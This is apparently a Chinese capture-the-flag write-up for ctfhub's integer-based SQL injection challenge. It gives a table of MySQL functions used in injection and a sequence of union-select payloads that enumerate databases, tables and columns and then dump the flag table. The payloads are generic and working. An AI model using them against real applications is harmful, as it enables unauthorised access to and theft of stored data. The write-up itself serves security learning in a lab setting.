ctfhub-SQL注入-SQL整数型注入

做这个题目前，建议去B站看一下SQL注入的视频，挺基础的，也有了解。
2020最新Java老王带你了解SQL注入（配套源码+笔记）

关键字/语句/函数 解释
union select 联合查询，联合注入常用
database() 回显当前连接的数据库
version() 查看当前sql的版本如：mysql 1.2.3， mariadb-4.5.6
group_concat() 把产生的同一分组中的值用,连接，形成一个字符串
information_schema 存了很多mysql信息的数据库
information_schema.schemata information_schema库的一个表,名为schemata
schema_name schemata表中存储mysql所有数据库名字的字段
information_schema.tables 存了mysql所有的表
table_schema tables表中存每个表对应的数据库名的字段
table_name 表的名字和table_schema一一对应
information_schema.columns columns表存了所有的列的信息4
column_name 当你知道一个表的名字时，可通过次字段获得表中的所有字段名(列名)
table_name 表的名字和column_name一一对应
select updatexml(1,concat(0x7e,database(),0x7e),1); 这里注意，只在databse()处改你想要的内容即可报错回显
right(str, num) 字符串从右开始截取num个字符
left(str,num) 同理:字符串从左开始截取num个字符
substr(str,N,M) 字符串，从第N个字符开始，截取M个字符

1.输入1，回显有两列。
2.报当前的数据库,发现数据库为sqli，为什么是-1，id要等于不存在的一个数字.

-1 union select 3,database()

3.报所有的数据库

-1 union select 3,group_concat(schema_name) from information_schema.schemata

4.根据报出的数据库，报表名字

-1 union select 3,group_concat(table_name) from information_schema.tables where table_schema="sqli"

5.知道了表flag，去报字段,报出flag的字段。

-1 union select 3,group_concat(column_name) from information_schema.columns where table_name="flag"

5.当报出字段，可以直接查询数据。

-1 union select 3,group_concat(flag) from sqli.flag